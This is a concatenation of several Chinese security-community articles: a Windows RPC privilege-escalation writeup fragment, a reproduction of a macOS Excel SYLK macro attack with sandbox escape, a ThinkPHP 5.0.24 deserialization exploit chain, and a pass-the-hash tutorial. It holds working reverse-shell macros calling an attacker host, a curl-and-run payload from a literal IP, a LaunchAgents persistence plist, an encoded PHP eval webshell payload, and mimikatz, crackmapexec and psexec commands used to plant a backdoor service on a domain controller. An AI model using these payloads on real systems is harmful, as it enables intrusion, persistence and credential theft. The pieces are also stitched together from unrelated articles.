[out][ref][string][size_is(, *arg_5)] wchar_t** arg_4,
[out]long* arg_5);
}
吸引笔者的是它的字符串参数，所以在这里尝试使用本地路径作为字符串参数，最后调用了函数:
随后打开记录进程的相关操作:
观察结果，特权进程去访问我们指定的UNC格式的本地路径。当然，这个文件在这里是不存在的，自然的结果就是没有找到。
后续操作便和前面的是一致的,因为`IRP_MJ_CREATE`是支持UNC路径的
这里直接让RPC服务端访问恶意的管道:
特权进程确实会尝试访问命名管道，这意味着我们可以创建恶意管道来模拟 RPC
客户端安全上下文,从而恶意的管道试图模拟RPC客户端使用特权进程的token创建一个cmd进程
最终的结果是成功的使用了这个RPC接口方法，让本地服务用户能够提升到SYSTEM权限
> 这里RPC协议是ncalrpc，端点名称是AzureAttestService，都是固定已知,不过利用范围而言,安装SQL Server
> 2019会默认开启这个服务,笔者并没有对其他SQL Server版本进行检查，这也是局限性所在，因为该项服务并不是默认服务
### (2) 工具实现
主要原理就是监听恶意管道,通过`SecurityImpersonation权限`可以模拟RPC安全上下文的权限,模拟特权进程的令牌,最终调用`CreateProcessWithTokenW`创建进程实现提权
### (3) 后续
笔者在发现这个安全风险之后也第一时间和MSRC联系，针对这个问题也是进行了修复
## 0x06 总结
本文主要通过Windows中远程过程调用(RPC)来扩展本地提权的思路,分享笔者是如何利用RPCview对RPC接口方法实现Fuzz,最终利用某些存在缺陷的接口方法实现本地提权,目前分享的两种方法在互联网并未搜集到相关提权利用信息,在得到相关许可后决定对其进行披露,当然本文所述思路以及相关经历分享只是抛砖引玉,感谢师傅们的阅读 | 社区文章 |
**作者：t1ddl3r@百度蓝军
公众号：[百度安全应急响应中心](https://mp.weixin.qq.com/s/a_0Vbnr38drTZAlQfoH10A
"百度安全应急响应中心")**
### 前言
在正面防御越来越难突破的今天，各种钓鱼姿势层出不穷。本月的BlackHat
2020大会上出现了一种新型的macOS下的excel宏攻击，通过巧妙的漏洞链绕过了Mac沙箱，最终获得了一枚反弹shell。笔者在研究过程中遇到了一些坑点，最终成功复现。希望文章中的一些经验能够起到抛砖引玉的作用。
### 1.XLM宏与Sylk文件
Sylk文件是一种古老的office文件格式，虽然如今已经几乎不再使用此格式，但office仍然支持打开该格式的文件。在macOS下，双击.slk文件会默认调起Excel打开。
在Sylk文件中，VBA宏会失效，它支持另一种古老的XLM宏。一个恶意的XLM宏如下：
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC","curl http://www.toutiao.com/")
C;X1;Y102;K0;EHALT()
E
其中第一行是Sylk文件标记，第二行表示此文档启用了XLM宏，第三行表示文档打开时，自动执行文档中第101行的代码。后面的X与Y指代单元格坐标，如『C;X1;Y101』代表101行第1列的单元格，而『;E』代表表达式，后面跟随的为XLM宏的表达式值。
『CALL("libc.dylib","system","JC","curl http://www.toutiao.com")』
表示调用libc.dylib中的system命令执行其后的bash命令。宏命令必须以HALK()或RETURN()结束，即第四行。结尾的E表示E标记结束。
将其另存为poc.slk文件，直接运行，便会在打开文件时执行curl http://www.toutiao.com。
在Mac Office
2011中，打开此文件时不会有任何危险提示，直接运行恶意命令，不过微软已经停止了对2011的支持，并且网上已经很难下载到2011版本。在Mac Office
2016/2019中（现已修复），若用户将偏好设置-安全性-宏安全性设置为『禁用所有宏，并且不通知』，恶意宏命令也将自动执行。可惜的是，此设置并非默认的（默认为『禁用所有宏，并发出通知』）。
尽管如此，这也会比Windows上的宏攻击更容易成功。在Windows中，只有用户主动点击安全警告中的启用内容时，宏才会被执行。而由于安全警告并不影响文档的正常使用，普通用户一般也不会主动启用宏。
而内置XLM宏的Sylk文件被打开时，Mac Office
2016/2019默认设置下会发出弹窗安全警告：
用户必须在启用宏和禁用宏中选择一个才能继续使用文档。这就意味着，在普通用户缺乏安全意识的情况下，有50%的几率中招。
### 2.执行恶意命令
我们将宏代码修改为反弹shell的代码：
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "/bin/sh -i >& /dev/tcp/attacker/8911 0>&1")
C;X1;Y102;K0;EHALT()
E
运行后attacker上会收到一个反弹shell，而运行此文件的mac将直接卡死。这是因为bash
-i会阻塞后续代码的运行，在编写宏时应特别注意这一点，否则会有一种受到了DOS攻击的表现。我们将代码修改为后台运行的反弹shell：
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "/bin/sh -c '(/bin/sh -i >& /dev/tcp/attacker/8911 0>&1 &)'")
C;X1;Y102;K0;EHALT()
E
成功收到一个反弹shell，且文档关闭后反弹shell仍可正常运行。
sh-3.2$ pwd
/Users/yu/Library/Containers/com.microsoft.Excel/Data
sh-3.2$ ls
Desktop
Documents
Downloads
Library
Movies
Music
Pictures
logs
sh-3.2$ cd /Users/yu
sh-3.2$ ls
ls: .: Operation not permitted
经过一系列测试发现，此时反弹shell处于Excel的沙盒内。当处于com.microsoft.Excel/Data内时，bash功能正常；当想切换出沙盒目录时，虽然切换目录成功，但无法执行其他有效操作。这大大降低了shell的作用，即使由shell派生出新的进程，该子进程也将继承父进程的沙盒特性，除非我们能够让一个不在沙盒中的进程主动启动反弹shell。
### 3.沙盒逃逸
沙盒逃逸是这个议题主要的价值所在，但在复现过程中，笔者发现仅靠原作者的方式难以将整个漏洞利用链打通，故有了各种踩坑尝试。
##### 3.1 plist
使用codesign查看Excel的权限：
codesign --display -v --entitlement - /Applications/Microsoft\ Excel.app
可以看到允许写入文件名以『~$』开始的文件：
(allow file-read* file-write*
(require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$"))
)
这是典型的office临时文件的文件名格式。尝试在沙盒外生成一个符合规则的文件：
sh-3.2$ pwd
/Users/yu
sh-3.2$ echo "t1ddl3r">\~\$hello
sh-3.2$ cat \~\$hello
t1ddl3r
sh-3.2$
成功写入，不会再像之前是『Operation not
permitted』的状态。由此，所有涉及增删改查和执行的文件操作命令，一旦所操作的文件的文件名符合上述规则，便可成功执行。当然，如果操作的是文件夹就不可以。
根据此特性，我们可以向『~/Library/LaunchAgents』写入一个plist文件，待下次mac启动后，就会自动运行此plist文件，执行我们写入的命令，此时由于命令是由plist拉起的，而并非Excel派生的，便不再处于Excel沙盒之下了。plist文件如下：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.microsoft</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/attcker/8911 0>&1</string>
</array>
<key>KeepAlive</key>
<true/>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>1</integer>
</dict>
</plist>
当mac启动时，会自动执行『/bin/bash -c bash -i >& /dev/tcp/attcker/8911
0>&1』，且会每秒执行一次（由于命令会阻塞，实际上会表现为断线后立即重连）。由于向~/Library/LaunchAgents下写入plist并不需要高权限，这也成为mac下持久化的常用手段。
**但可惜的是，微软在2018年12月发布的Excel for Mac 16.20.0中修复了这个漏洞，在权限设置中特别禁止了在此目录下创建任何文件：**
(deny file-write*
(subpath (string-append (param "_HOME") "/Library/Application Scripts"))
(subpath (string-append (param "_HOME") "/Library/LaunchAgents"))
)
因此我们不能再使用这种手段进行沙盒逃逸。
3.2 login item 那么除了使用plist文件，macOS下还有哪些手段能够自启动呢？答案是login item。
因为在沙盒环境下还是可以执行部分系统命令的，只要将反弹shell的程序添加到login
item中，在系统启动时，反弹shell的进程便会由loginwindow派生出来，从而绕过沙盒。
那么如何将程序添加到login
item中呢？原作者给出的方案是下载并运行一个恶意的python文件，使用pyobjc来通过python调用Objective-C的API，从而将程序添加到login item中。
CoreServices.LSSharedFileListInsertItemURL( loginItems, kLSSharedFileListItemLast, None, None, appURL, None, None)
但很遗憾，默认的pyobjc中并没有CoreServices这个框架，虽然在官方文档中提及了这个模块，但如果要使用需要主动安装。而mac自带的python是没有pip的（即使有在沙盒环境下也很难安装模块），所以这个方法理论上来说是行不通的。这个问题困扰了笔者良久，在BH上的演讲中，原作者对此细节也是一语带过。笔者尝试发邮件请教原作者，也未能得到回复。
经过调研发现，在macOS
10.11前，LSSharedFileListInsertItemURL存在于LaunchServices模块中，而这个模块在mac自带python中是一直附带的，不过在如今流行的版本中，LaunchServices.LSSharedFileListInsertItemURL已经无法使用了。
那么有没有其他的途径来实现这个操作呢？mac中可以使用osascript来执行AppleScript、JavaScript等语言与系统API进行交互。一番搜索后，添加login
item的语句如下：
/usr/bin/osascript -e 'tell application "System Events" to make new login item with properties { path: "path/to/app", hidden:false } at end'
注意这里System Events必须由双引号包裹，而XLM宏中，命令外侧也需要使用双引号包括，并且双引号转义是无效的，也即：
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "/usr/bin/osascript -e 'tell application \"System Events\" to make new login item with properties { path: \"path/to/app\", hidden:false } at end'")
这样的语句是会报错而不能执行的，不过没关系，我们可以把执行osascript的代码放到python中或sh中，再使用XLM宏执行相应的文件，即可避免双引号冲突。最终执行结果如下：
由于添加login item时会通过『System
Events』进行操作，会弹出相应的权限申请提示用户，这让本就要求苛刻的漏洞利用链更加雪上加霜，成功率大大降低。由此看来，此方法还是不可用的。
果然还是只能寄希望于pyobjc了，笔者开始查阅pyobjc的文档，希望找到一个能够直接调用系统函数的API。最终，找到了objc.loadBundleFunctions函数，其可以从NSBundle中加载函数，NSBundle常见于Mac/iOS开发中，用于加载各种资源和代码，而NSBundle在Mac
Python自带的Foundation包中，正巧可以被使用。我们可以先创建一个SharedFileList的NSBundle对象（注意这里要通过Bundle
Identifier加载资源而不是通过路径），然后从NSBundle中加载所需要的函数：
from platform import mac_ver
from Foundation import NSURL
from LaunchServices import kLSSharedFileListSessionLoginItems
if int(mac_ver()[0].split('.')[1]) > 10:
from Foundation import NSBundle
import objc
shared_file_list = NSBundle.bundleWithIdentifier_('com.apple.coreservices.SharedFileList')
f = [
('LSSharedFileListCreate', '^{OpaqueLSSharedFileListRef=}^{__CFAllocator=}^{__CFString=}@'),
('LSSharedFileListCopySnapshot', '^{__CFArray=}^{OpaqueLSSharedFileListRef=}o^I'),
('LSSharedFileListInsertItemURL', '^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{__CFString=}^{OpaqueIconRef=}^{__CFURL=}^{__CFDictionary=}^{__CFArray=}'),
('kLSSharedFileListItemBeforeFirst', '^{OpaqueLSSharedFileListItemRef=}')
]
objc.loadBundleFunctions(shared_file_list, globals(), f)
else:
# 10.11以下的版本直接从LaunchServices加载即可
from LaunchServices import kLSSharedFileListItemBeforeFirst, LSSharedFileListCreate, \
LSSharedFileListCopySnapshot, LSSharedFileListInsertItemURL
自此，即使不使用CoreServices包，LSSharedFileListInsertItemURL也可以被正常调用了。那么思路就很明确了：我们先使用curl下载python文件到/tmp下，然后执行该python文件，将程序添加到login
item中。
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "curl attacker/python_payload -o /tmp/\~\$python_payload && python /tmp/\~\$python_payload")
C;X1;Y102;K0;EHALT()
E
执行上述代码，竟未成功！经过多次调试后发现，python在import一些库时会调用os.getcwd()，由于我们的文件处于沙盒外，因此工作路径也在沙盒外，会受到沙盒的限制，从而导致代码执行失败。
知道了原因便好规避了，将文件下载到权限较完整的沙盒目录下来即可（/Users/xxx/Library/Containers/com.microsoft.Excel/Data)，甚至因为处于沙盒路径内，文件名都不会收到限制了：
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "curl 106.12.215.252/python_payload -o python_payload && python python_payload")
C;X1;Y102;K0;EHALT()
E
执行成功！自此，目标程序被成功添加到login item中，在用户下次登录时自动被系统调起，脱离沙盒。
##### 3.3 zip
首先要强调一点，虽然都是自启动程序，login item与plist的不同之处在于，plist可以为可执行文件传入任意参数，而login
item只是指定了要启动的程序，不能传参，否则我们只需把反弹shell的命令添加到login item中就可以了。
那么我们要把什么样的程序添加到login
item中才能达到目的呢？一个自己编写的恶意二进制程序怎么样？很可惜，由于我们自己的二进制程序都要在沙盒中生成，不论是通过curl下载还是通过python释放，其本身都会带上com.apple.quarantine属性：
sh-3.2$ echo 1234 > payload
sh-3.2$ chmod +x payload
sh-3.2$ xattr payload
com.apple.quarantine
sh-3.2$ echo 1234 > payload.py
sh-3.2$ xattr payload.py
com.apple.quarantine
而GateKeeper会对所有带有com.apple.quarantine的可执行文件进行检查，若其没有合法签名，将会被禁止运行，自然也不能添加到login
item中打开。
原作者的思路是通过一个zip文件释放plist到LaunchAgents中。也就是说，虽然在沙盒环境下我们不能直接在LaunchAgents中写入plist文件，但我们可以在它的上级目录创建一个『~payload.zip生成在~/Library目录中，并将其添加到login
item中，当下次启动时，便会打开此zip自解压。通过unzip命令进行实验，发现确实可以实现向LaunchAgents文件夹中释放文件。而将所有流程打通后测试，发现并未按照预计的那样将plist释放到LaunchAgents中：
程序新建了一个LaunchAgents
2文件夹，将plist解压到了这里面。原来zip自解压并非使用了unzip，而是归档工具，此两者对于目录中含有同名文件夹的处理是不同的。
而Mac下默认是没有LaunchAgents这个文件夹的，有些应用程序有自启动需求时，会创建这个文件夹。如果是默认没有的情况下，这个方法就能成功了。
### 4.总结
**综上，漏洞利用链成功的前提是：**
1.用户无安全意识选择启用宏
2.没有应用程序向~/Library下创建LaunchAgents文件夹
**漏洞利用链如下：**
1.用户选择执行宏
2.通过curl下载一个python文件到沙盒路径下，再下载一个构造好的~$payload.zip到~/Library目录下
3.执行这个python文件，将~/Library/~$payload.zip添加到login item中
4.当用户下次登录时（必须注销或关机重启），~$payload.zip被解压，释放plist文件到~/Library/LaunchAgents中
5.再下次mac重启时，plist文件被执行，反弹shell到指定目标，成功绕过沙盒
对于防御此类攻击，原作者给出的方法是监视进程和监视持久化文件两种方式，还顺带推广了一波自研的BlockBlock。实际上，有一种四两拨千斤的防御方式：只要提前向~/Library下创建LaunchAgents文件夹，使漏洞链无法完成就可以了。
### reference
<https://www.blackhat.com/us-20/briefings/schedule/#office-drama-on-macos-20854>
<https://stackoverflow.com/questions/4912212>
<https://stackoverflow.com/questions/29345341>
<https://objective-see.com/blog/blog_0x4B.html>
* * * | 社区文章 |
# 一次Thinkphp 5.0.X 反序列化的坎坷
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
并非专业选手、本文如有出错的地方，还请师傅们帮忙斧正，也是记录一下在项目中遇到thinkphp windows 环境下 RCE的踩坑。
事情就是图片这样，由于文件名的问题无法在WIndow环境下写入文件， 然后search到几篇解决Windows 文件名的文章，来拼凑解决这次的坎坷。
## 调试环境
Apache2.4.39 PHP7.1.9nts Thinkphp5.0.24
在 application\index\controller\index.php 修改代码如下，创建反序列化接收。
<?php
namespace app\index\controller;
class Index
{
public function index($value='')
{
echo "0xdd Test Thinkphp 5.0.24 unserialize Check input value </br> ";
echo $value;
unserialize($value);
}
}
## 反序列化链调试
ThinkPHP5
采用命名空间方式定义和自动加载类库文件，只需要给类库正确定义所在的命名空间，并且命名空间的路径与类库文件的目录一致，那么就可以实现类的自动加载，从而实现真正的惰性加载。了解基础知识后，有助于我们POP链脚本的编写。
* demo
namespace think\cache\driver;
class File
{
}
实例化该类
$class = new \think\cache\driver\File();
$class = new \Think\Cache\Driver\File(); //可支持驼峰法命名
### 入口点
**__destruct： 和构造函数相反，当对象所在函数调用完毕后执行**
**thinkphp/library/think/process/pipes/Windows.php removeFiles 方法**
这里跟进removeFiles 方法 ，为什么不选择跟进close 方法呢？
close 函数很显然无法作为我们的跳板，removeFiles 函数可以的file_exists 方法可以做为我们的跳板 触发__toString
魔术方法
**__toString：当对象被当做一个字符串使用时调用**
### _toString跳板
这里的_toString 方法除了Model 是否还有其它选择
跟进toJson ，在toJson中调用了 toArray 方法
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性（必须定义获取器）
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
在toArray的方法中，例如可尝试通过 **$item[$key] = $value ? $value- >getAttr($attr) : null;
调用Output类的__call方法**
**__call:当调用对象中不存在的方法会自动调用该方法**
###
### __call 跳板
想利用 $item[$key] = $value ? $value->getAttr($attr) : null; ，需要满足条件
当符合检测类存在时、主要关注 **$modelRelation** 和 **$value** 的值
* **$modelRelation**
**把$relation 修改等于Model 类的getError(), 通过 $thifs- >error $modelRelation 可控**
**$value**
1. **$this - > parent 为$value 来源，设置值为Output类**
2. **!$modelRelation- >isSelfRelation() 返回false**
3. **$modeRelation- >getModel() 返回 Output类**
通过getRelationData 方法 我们可以看 我们需要传入的$modelRelation 必须是 Relation
类型,在找类型符合的同时，在905行中 需要有 **getBindAttr()** 方法，该方法处在OneToOne 类中
所以寻找符合的条件为
1.Relation 类型
2.该类型包含 **getBindAttr()** 方法
那么我们可不可以直接使用 OneToOne 方法呢， OneToOne 方法符合了条件，但是不符合我们 **!$modelRelation->isSelfRelation() 返回false 的 **需求，所以我们找一个继承OneToOne并含有 **__construct** 即可
例如这里搜索找到的 BelongsTo
demo:
class BelongsTo extends OneToOne
{
function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = [1 => "0xdd"];
}
}
这样我们就符合了代码中的判断条件进入else，在 **$item[$key] = $value ? $value- >getAttr($attr) :
null; 执行OutPut 的__call 方法**
**看到这里可能会忘记上面的内容，回顾一下，这里的 $value 已经通过 $this - > parent 为$value
来源，设置值为Output类**
**那么此时 也就是 从OutPut类中调用getAttr 方法，由于Output类中没有getAttr方法 所以触发__call ，**
**Output __call 方法内容**
**$attr 因为是通过** $bindAttr = $modelRelation->getBindAttr(); 获取值，bindAttr 可控
所以$attr 也可控
### 写文件
在进入第一个if 的时候，会通过call_user_func_array 调用 block 方法
block 方法中调用了writeln 继续跟进
writeln 调用了 write
write 方法中的 handle 我们是可控的，所以我们要寻找一个类 含有write 方法，此方法可以帮助我们写webshell
通过搜索，在Memcache 中的write 方法可以为我们找一个set的方法 协助写文件，这里的handler
可控，所以我们要继续寻找符合条件的set方法
这里以 think\cache\driver\FIle 中的 set 方法为例 ，利用 file_put_contents 写入Webshell,
$filename 也就是文件名 会经过getCacheKey 处理，这里会出现一个linux 和 Windows
环境的利用问题，因为在公布的POC中，写出的Webshell 文件名带有“<” 符号，Windows下 文件名是不能出现“<”符号等….
如下图的
//此payload 不可以在Windows 下写文件
写入内容来自$data, 在没有进入 if($result) 的setTagItem 中时，$data 的值来自 $value ，$expire
只能为数字, $value 在 通过Output类中的writeln 传参过来的时候值为 true
关键在进入if($result) 时，setTagItem 方法可以继续set
在setTagItem 方法中 再次调用set方法，此时set 方法使用 文件名中的内容作为$value ， 那么我们我的写入内容就可控了，下面只要绕过
exit(）即可，绕过exit 需要filename 可控，使用伪协议
php://filter 是一种元封装器， 设计用于数据流打开时的筛选过滤应用。这对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、 file() 和 file_get_contents()， 在数据流内容读取之前没有机会应用其他过滤器。
base64编码中包含64个可打印字符,而当PHP解码base64时，遇到不在其中的字符时，会选择 **跳过**
这些字符，将有效的字符重新组成字符串进行解码,<、?、;、>、空格等字符不符合base64解码范围. 所以可以用伪协议进行绕过。
跟进set 方法中的 getCacheKey，可以发现$filename 的文件名 来自属性 $this->options[‘path’]
,所以也是可控的，
那么我们的链，就完成了，具体在伪协议的方法 影响写入的文件名。
## Write_Shell
demo
namespace think\cache\driver;
class File
{
protected $options = [];
protected $tag;
function __construct()
{
$this->options = [
'expire' => 'a',
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=dddPD9waHAgQGV2YWwoJF9SRVFVRVNUWycweGRkJ10pOz8+IA==/../0xdd.php',
'data_compress' => false,
];
$this->tag = true;
}
public function get_filename()
{
$name = md5('tag_' . md5($this->tag));
$filename = $this->options['path'];
$pos = strpos($filename, "resource=");
$filename = urlencode(substr($filename, $pos + strlen("resource=")));
return $filename . $name . ".php";
}
}
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=dddPD9waHAgQGV2YWwoJF9SRVFVRVNUWycweGRkJ10pOz8+IA==/../0xdd.php
php过滤器支持列表 <https://www.php.net/manual/en/filters.php>
传入payload 后 会在根目录写入文件
执行命令
## 任意文件删除
根据入口点，构造其他操作
demo
<?php
namespace think\process\pipes;
abstract class Pipes
{
}
class Windows extends Pipes
{
private $files = [];
function __construct()
{
$this->files = ["robots.txt"];
}
}
$a=new Windows();
echo urlencode(serialize($a));
?>
例如删除 robots.txt 文件 | 社区文章 |
[toc]
## 前言
Pass The Hash 即哈希传递攻击，简称 PTH，该攻击方法通过找到与账户相关的密码散列值 NTLM Hash 来进行攻击的。由于在 Windows
系统 NTLM 认证的 TYPE 3 消息计算 Response 的时候，客户端是使用用户的 NTLM Hash
进行计算的，而不是用户密码进行计算的。因此在模拟用户登录或对访问资源的用户进行身份认证的时候，是不需要用户明文密码的，只需要用户 Hash。攻击者可以利用
NTLM HASH 直接远程登录目标主机或反弹 Shell。
在域环境中，用户登录计算机时一般使用域账号，大量计算机在安装时会使用相同的本地管理员账号和密码，因此，如果计算机的本地管理员账号和密码也相同，攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法，攻击者不需要花费时间来对Hash进行爆破，在内网渗透里非常经典。常常适用于域环境或工作组环境。
## 哈希传递攻击
下面，我们以下图所示的环境来具体演示哈希传递攻击（PTH）的方法。
如图中，右侧是一个内网环境，域名为whoamianony.org，有两台主要的机器：域成员主机 Windows 7 和域控制器 Windows Server
2012，其中攻击者已经拿下了内网中的 Windows 7，接下来我们尝试通过哈希传递的方法获取 Windows Server 2012 的控制权。
### 使用 Mimikatz 进行哈希传递
下面演示哈希传递攻击的方法（需要管理员权限）：
首先，攻击者在Windows 7上面上传mimikatz，并用mimikatz抓取Hash：
privilege::debug
sekurlsa::logonpasswords
如上图所示，成功抓取到域管理员的 NTLM Hash 为：ab89b1295e69d353dd7614c7a3a80cec
然后，在 Windows 7 上用 mimikatz 将获取的 Administrator 的 Hash 添加进 lsass 进程中：
privilege::debug
sekurlsa::pth /user:administrator /domain:whoamianony /ntlm:ab89b1295e69d353dd7614c7a3a80cec
成功，此时会自动弹出一个新的cmd窗口，这时访问远程主机或服务，就不用提供明文密码了，如下，我们列出了域控制器 DC 的c盘目录：
为了简洁，上述的操作可以用以下一句话命令代替：
mimikatz.exe privilege::debug "sekurlsa::pth /domain:whoamianony /user:administrator /ntlm:ab89b1295e69d353dd7614c7a3a80cec /run:cmd.exe"
此时，为了让域控制器 DC 上线 Metasploit，我们只需做以下工作。
生成一个msf木马shell.exe，将shell.exe上传到Windows 7主机，然后直接使用 copy 命令将shell.exe复制到域控上：
copy shell.exe \\DC.whoamianony.org\c$ // 将 shell.exe 复制到域控主机上
sc \\DC.whoamianony.org create backdoor binpath= "c:\shell.exe" // 在域控上创建服务启动木马
sc \\DC.whoamianony.org start backdoor // 在域控上立即启动该服务
sc \\DC.whoamianony.org delete backdoor // 在域控上立即删除该服务
此时虽然显示 1053 错误，但是如下图所示，域控制器成功上线，并且还是 SYSTEM 权限：
注意，哈希传递攻击要注意一下几点：
* dir命令后面要使用主机名，不能用 IP，否则报错
* 使用 mimikatz 进行哈希传递要具有本地管理员权限
### 使用 Crackmapexec 进行哈希传递
该工具位于kali上面，其可以对C段主机批量进行PTH攻击。
下载地址：<https://github.com/byt3bl33d3r/CrackMapExec.git>
在kali上直接用apt-get就可以安装：
apt-get install crackmapexec
对内网主机进行PTH的命令如下：
crackmapexec smb 192.168.93.30 -u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d whoamianony.org -x whoami
crackmapexec smb 192.168.93.30 -u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d whoamianony.org -x ipconfig
* **IP：** 可以是单个IP也可以是IP段
* **-u：** 指定用户名
* **-H：** 指定NTLM Hash
* **-d：** 指定域
* **-x：** 执行系统命令
如下图所示，成功在 DC 主机上执行命令：
### 利用 wmiexec 进行哈希传递
* 项目地址：<https://github.com/SecureAuthCorp/impacket>
这是 impacket 工具包里面的一个脚本，可以用来 PTH，同时可以走 socks4/5 代理，十分强大。
首先在攻击机上安装 Impacket 工具包：
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install .
进入 examples 目录即可找到我们的 wmiexec.py，然后执行以下命令即可：
python wmiexec.py -hashes 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec whoamianony/[email protected] "whoami"
# (proxychains4) python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@IP "命令"
### 使用 Metasploit 进行哈希传递
经常使用的三个模块：
auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令
exploit/windows/smb/psexec // 用psexec执行系统命令
exploit/windows/smb/psexec_psh // 使用powershell作为payload
这三个模块的使用方法相同，这里以exploit/windows/smb/psexec模块哈希传递攻击域控制器 DC 为例：
需要设置以下选项：
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set smbuser administrator
set smbpass 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec # 完整的Administrator用户的Hash
set smbdomain whoamianony
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.93.129
set lport 4444
exploit
注意这里的 smbpass 选项，其可以为明文密码，也可以为密码哈希，但是哈希值必须是完整的，如果不知道前面的LM Hash部分，可以像上面那样用0代替。
如下图所示，攻击成功，域控成功上线，并且是 SYSTEM 权限：
### 利用 PowerShell 进行哈希传递
* 项目地址：<https://github.com/Kevin-Robertson/Invoke-TheHash>
Invoke-TheHash 项目是一个基于.Net TCPClient，通过把 NTLM 哈希传递给 NTLMv2
身份验证协议来进行身份验证的攻击套件，且执行时客户端不需要本地管理员权限。Invoke-TheHash 项目中内含如下多个脚本：
Invoke-WMIExec.ps1
Invoke-SMBExec.ps1
Invoke-SMBEnum.ps1
Invoke-SMBClient.ps1
Invoke-TheHash.ps1
其可以执行 WMI 和 SMB 命令，并对内网主机批量进行哈希传递攻击。
#### 使用 Invoke-SMBExec 脚本
该脚本通过 SMB 在目标主机创建服务来执行命令，该脚本执行命令没有回显，我们可以用它执行一些木马程序。如下所示，我们通过 Invoke-SMBExec
脚本进行哈希传递，在域控制器上执行之前上传的 shell.exe：
Import-Module .\Invoke-SMBExec.ps1
Invoke-SMBExec -Target 192.168.93.30 -Domain whoamianony -Username administrator -Hash 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec -Command "c:\shell.exe" -verbose
成功执行 shell.exe，域控上线成功：
#### 使用 Invoke-TheHash 脚本
Invoke-TheHash 脚本可以用来通过哈希传递在远程主机上执行 WMI 和 SMB 命令。
Import-Module .\Invoke-WMIExec.ps1 # 首先需要加载先加载Invoke-WMIExec.ps1脚本
Import-Module .\Invoke-TheHash.ps1 # 然后再加载Invoke-TheHash.ps1脚本
Invoke-TheHash -Type WMIExec -Target 192.168.93.1/24 -Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Command "c:\shell.exe" -verbose
* **-Target：** 目标主机名或IP地址/段。
* **-Username** ：用于身份验证的用户名。
* **-Domain：** 用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
* **-Hash** ：用于身份验证的NTLM密码哈希（格式： LM:NTLM 或 NTLM）。
* ****-Command：** 在目标上执行的命令。如果命令未指定，则将检查用户名和哈希是否可以访问目标上的SCM。
注意使用的时候需要先加载 Invoke-WMIExec.ps1 脚本，然后再加载Invoke-TheHash.ps1脚本，因为Invoke-TheHash
里要用到 Invoke-WMIExec 方法。
成功在域控（192.168.52.138）上执行了 shell.exe，域控成功上线：
#### 使用 Invoke-SMBClient 脚本
该脚本支持SMB1，SMB2，SMB signing，如果只有 SMB
文件共享的权限而没有远程执行权限的话，可以使用这个脚本列举远程主机上的共享目录、上传或下载文件、删除文件。
使用以下命令可以成功列举出域控制器上的共享文件：
Import-Module .\Invoke-SMBClient.ps1
